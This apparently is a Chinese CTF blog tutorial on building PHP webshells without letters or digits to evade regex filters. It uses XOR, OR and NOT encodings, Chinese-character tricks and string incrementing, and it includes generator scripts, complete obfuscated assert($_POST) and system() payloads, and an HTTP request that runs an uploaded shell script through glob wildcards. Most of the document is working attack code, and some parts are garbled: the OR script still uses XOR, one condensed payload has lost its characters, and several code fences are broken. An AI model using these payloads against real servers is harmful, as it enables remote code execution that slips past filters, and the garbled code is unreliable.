简单字符构造


浅析CTF绕过字符数字构造shell

异或运算绕过

异或的符号是^,是一种运算符。

在 PHP 中两个字符串异或之后,得到的还是一个字符串。如果正则匹配过滤了字母和数字,那就可以使用两个不在正则匹配范围内的非字母非数字的字符进行异或,从而得到我们想要的字符串。

例如:

1 ^ 1 = 0
1 ^ 0 = 1
0 ^ 1 = 1
0 ^ 0 = 0

基于此原理我们也可以构造出如下的无字母数字的 Webshell

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

看到代码中的下划线 ______ 是一个变量,因为 preg_match() 过滤了所有的字母,我们只能用下划线来作变量名。最后拼接起来 Payload 如下:

$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);

// 密码为 "_"

异或绕过脚本

单一字符绕过:

if __name__ == "__main__":
    for i in range(0,127):
        for j in range(0,127):
            result=i^j
            if(chr(result) is 'X'):   //X处代表异或生成的字符
                print(' '+chr(i)+' xor '+chr(j)+' == '+chr(result))

多字符绕过:

<?php
    
$myfile = fopen("xor_rce.txt", "w");   //生成一个 txt 文档 xor_rce.txt
$contents="";
for ($i=0; $i < 256; $i++) {               //讲十进制数变为十六进制
    for ($j=0; $j <256 ; $j++) { 

        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[a-z0-9]/i';    // 根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){   //16进制数转为ASCII码
                    echo "";
    }

        else{
        $a='%'.$hex_i;
        $b='%'.$hex_j;
        $c=(urldecode($a)^urldecode($b));  
        if (ord($c)>=32&ord($c)<=126) {     //可见字符
            $contents=$contents.$c." ".$a." ".$b."\n";
        }
    }

}
}
fwrite($myfile,$contents);
fclose($myfile);

运行以下 Python 脚本,输入你想要构造的函数名和要执行的命令即可生成最终的 Payload

def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("xor_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"^\""+s2+"\")"
   return(output)

while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
   print(param)

得到运行结果如下:

或运算绕过

或运算其实和异或运算原理差不多,下面给出脚本

if __name__ == "__main__":
    for i in range(0,127):
        for j in range(0,127):
            result=i^j
            if(chr(result) is 'X'):   //X处代表异或生成的字符
                print(' '+chr(i)+' or '+chr(j)+' == '+chr(result))
<?php

$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
    for ($j=0; $j <256 ; $j++) { 

        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[0-9a-z]/i';    // 根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
    }

        else{
        $a='%'.$hex_i;
        $b='%'.$hex_j;
        $c=(urldecode($a)|urldecode($b));
        if (ord($c)>=32&ord($c)<=126) {
            $contents=$contents.$c." ".$a." ".$b."\n";
        }
    }

}
}
fwrite($myfile,$contents);
fclose($myfile);

接着运行以下 Python 脚本,输入你想要构造的函数名和要执行的命令即可生成最终的 Payload:

# -*- coding: utf-8 -*-

def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("or_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)

while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
   print(param)

例题:

**r2/interesting_char**

取反运算绕过

取反的符号是~,也是一种运算符。在数值的二进制表示方式上,将0变为1,将1变为0。

我们可以直接对一串恶意代码进行取反然后 URL 编码,在发送 Payload 的时候再次将其取反便可将代码还原,然后将其动态执行。并且,因为是取反,基本上用的都是不可见字符,所以不会触发到正则表达式。假设我们要构造一个 phpinfo();,由于因为没有过滤括号,所以只需要先取反再编码字符串 “phpinfo” 就行了:

(~%8F%97%8F%96%91%99%90)();

phpinfo() 是没有参数的,如果需要执行有参数的函数的话,比如 system('whoami');,则应分别对其中的字符进行编码

<?php
echo urlencode(~'system')
echo urlencode(~'whoami')

取反脚本

<?php
$a = urlencode(~'phpinfo');
echo $a;

//%8F%97%8F%96%91%99%90

构造webshell的脚本

<?php
//在命令行中运行

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

汉字取反绕过

利用的是 UTF-8 编码的某个汉字,将其中某个字符取出来,比如 '和'{2} 的结果是 "\x8c",其再取反即可得到字母 s

echo ~('瞰'{1});    // a
echo ~('和'{2});    // s
echo ~('和'{2});    // s
echo ~('的'{1});    // e
echo ~('半'{1});    // r
echo ~('始'{2});    // t

同理构造webshell

$__=('>'>'<')+('>'>'<');    // $__=2, 因为要获取'和'{2},就必须有数字2。而PHP由于弱类型这个特性,true的值为1,故true+true==2,也就是('>'>'<')+('>'>'<')==2。
$_=$__/$__;    // $_=1

$____='';$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__}); // $____=assert

$_____=_;$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});  // $_____=_POST

$_=$$_____;  // $_=$_POST
$____($_[$__]);  // assert($_POST[2])

简化后为

$__=('>'>'<')+('>'>'<');$_=$__/$__;$____='';$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});$_____=_;$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});$_=$$_____;$____($_[$__]);:
$__=('>'>'<')+('>'>'<');$_=$__/$__;$____='';$___=;$____.=~($___{$_});$___=;$____.=~($___{$__});$___=;$____.=~($___{$__});$___=;$____.=~($___{$_});$___=;$____.=~($___{$_});$___=;$____.=~($___{$__});$_____=_;$___=;$_____.=~($___{$__});$___=;$_____.=~($___{$__});$___=;$_____.=~($___{$_});$___=;$_____.=~($___{$_});$_=$$_____;$____($_[$__]);

注意:执行的时候要进行一次 URL 编码,否则 Payload 无法执行。

自增绕过

也就是说,'a'++ => 'b''b'++ => 'c'… 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。

数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array

PHP函数是大小写不敏感的,所以我们最终执行的是ASSERT($_POST[_]),无需获取小写a

利用这个技巧,我们可以写下如下webshell

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

缩减后即:

$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

注意:执行的时候要进行一次 URL 编码,否则 Payload 无法执行。

过滤了_

  • ```php
    ${ %ff%ff%ff%ff^%a0%b8%ba%ab}{ %ff}();& %ff=phpinfo
    即:
    ${_GET}{ %ff}();&%ff=phpinfo
    //?shell=${_GET}{ %ff}();& %ff=phpinfo
    
    任何字符与 0xff 异或都会取相反,这样就能减少运算量了。
    注意:测试中发现,传值时对于要计算的部分不能用括号括起来,因为括号也将被识别为传入的字符串,可以使用 `{}` 代替,原因是 PHP 的 use of undefined constant 特性。例如 `${_GET}{a}` 这样的语句 PHP 是不会判为错误的,因为 `{}` 是用来界定变量的,这句话就是会将 `_GET` 自动看为字符串,也就是 `$_GET['a']`。`${_GET}{%ff}` 后面那个 `()` 为的是能够动态执行传入的 PHP 函数。
    
    同理,如果想要执行代函数的函数比如 `system('whoami')`,那我们可以对后面括号里的参数做相同的编码处理:
    
    ```php
    ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(%ff%ff%ff%ff%ff%ff^%88%97%90%9E%92%96);&%ff=system
    ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(%ff%ff%ff%ff%ff%ff%ff%ff^%99%93%9E%98%D1%8F%97%8F);&%ff=readfile
    ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(%ff%ff%ff%ff%ff%ff%ff%ff^%99%93%9E%98%D1%8F%97%8F);&%ff=highlight_file
    
    // 即: 
    // ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}('whoami');&%ff=system
    // ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}('flag.php');&%ff=readfile
    // ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}('flag.php');&%ff=highlight_file

或者,我们也可以直接进行取反:

${~%A0%B8%BA%AB}{%ff}();&%ff=phpinfo
${~%A0%B8%BA%AB}{%ff}(~%88%97%90%9E%92%96);&%ff=system
  • ```go
    ?>
    
    分析下这个Payload,?>闭合了eval自带的<?标签。接下来使用了短标签。{}包含的PHP代码可以被执行,~"%a0%b8%ba%ab"为"_GET",通过反引号进行shell命令执行。最后我们只要GET传参%a0即可执行命令。
    
    **PHP 中的反引号**
    
    PHP中,反引号可以直接命令执行系统命令,但是如果想要输出执行结果还需要使用 echo 等函数:
    
    相关例题:[PingPingPing](https://buuoj.cn/challenges#[GXYCTF2019]Ping%20Ping%20Ping)
    
    ### 过滤了分号 `;`
    
    **PHP 短标签**
    
    我们最常见的 PHP 标签就是 `<?php ?>` 了,但是 PHP 中还有两种短标签,即 `<? ?>` 和 `<?= ?>` 。当关键字 “php” 被过滤了之后,此时我们便不能使用 `<?php ?>` 了,但是我们可以用另外两种短标签进行绕过,并且在短标签中的代码不需要使用分号 `;` 。
    
    其中,`<? ?>` 相当于对 `<?php ?>` 的替换。而 `<?= ?>` 则是相当于 `<?php echo ... ?>` 。例如:
    
    ```php
    <?='Hello World'?>    // 输出 "Hello World"

PHP 短标签中的代码不需要写分号,所以我们直接把所有的 PHP 语句改成短标签形式就行了。

过滤了 $

PHP 7

PHP 7 前是不允许用 ($a)(); 这样的方法来执行动态函数的,但 PHP 7 中增加了对此的支持。所以,我们可以通过 ('phpinfo')(); 的形式来执行函数,第一个括号中可以是任意 PHP 7 表达式。

PHP 5

在 PHP 5 中如果我们还使用 ('phpinfo')(); 这样的 PHP 表达式则会得到一个报错,原因就是 PHP 5 并不支持这种表达方式。所以,如果也过滤了 $ 的话,对于 PHP 5 环境的利用方法就很复杂了。

先介绍两个两个有趣的Linux shell知识点:

  1. shell下可以利用.来执行任意脚本
  2. Linux文件名支持用glob通配符代替

.或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令。

. file执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.来执行它了吗?

这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。

第二个难题接踵而至,执行. /tmp/phpXXXXXX,也是有字母的。此时就可以用到Linux下的glob通配符:

  • *可以代替0个及以上任意字符
  • ?可以代表1个任意字符

那么,/tmp/phpXXXXXX就可以表示为/*/?????????/???/?????????

但我们尝试执行. /???/?????????,却得到错误,这是因为,能够匹配上/???/?????????这个通配符的文件有很多,如果在未执行到我们的文件的时候就已经出现了错误,导致整个流程停止,根本不会执行到我们上传的文件。

深入理解glob通配符

glob支持用[^x]的方法来构造“这个位置不是字符x”

利用这个通配符我们可以排除掉含有特殊字符的文件

[]

就跟正则表达式类似,glob支持利用[0-9]来表示一个范围。

PHP生成的临时文件包含大写字母。我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。

翻开ascii码表,可见大写字母位于@[之间:

那么,我们可以利用[@-[]来表示大写字母:

最后我们可以采用的 Payload 是:

. /???/????????[@-[]

php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。

最后给出一个payload

POST /?shell=?><?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%40-[]`%3b?> HTTP/1.1
Host: 192.168.43.210:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type:multipart/form-data;boundary=--------123
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 109

----------123
Content-Disposition:form-data;name="file";filename="1.txt"

#!/bin/sh
ls /
----------123--

相关例题:

**r2/ezssrf**

[2021 津门杯 CTF]hate_php

参考:****

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

https://xz.aliyun.com/t/8107#toc-13

https://xz.aliyun.com/t/7742#toc-8

https://xz.aliyun.com/t/9387

https://whoamianony.top/2021/07/20/Web%E5%AE%89%E5%85%A8/%E8%80%81%E7%94%9F%E5%B8%B8%E8%B0%88%E7%9A%84%E6%97%A0%E5%AD%97%E6%AF%8D%E6%95%B0%E5%AD%97%20Webshell/#post-comment


文章作者: Cu3tuv0
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Cu3tuv0 !
评论
  目录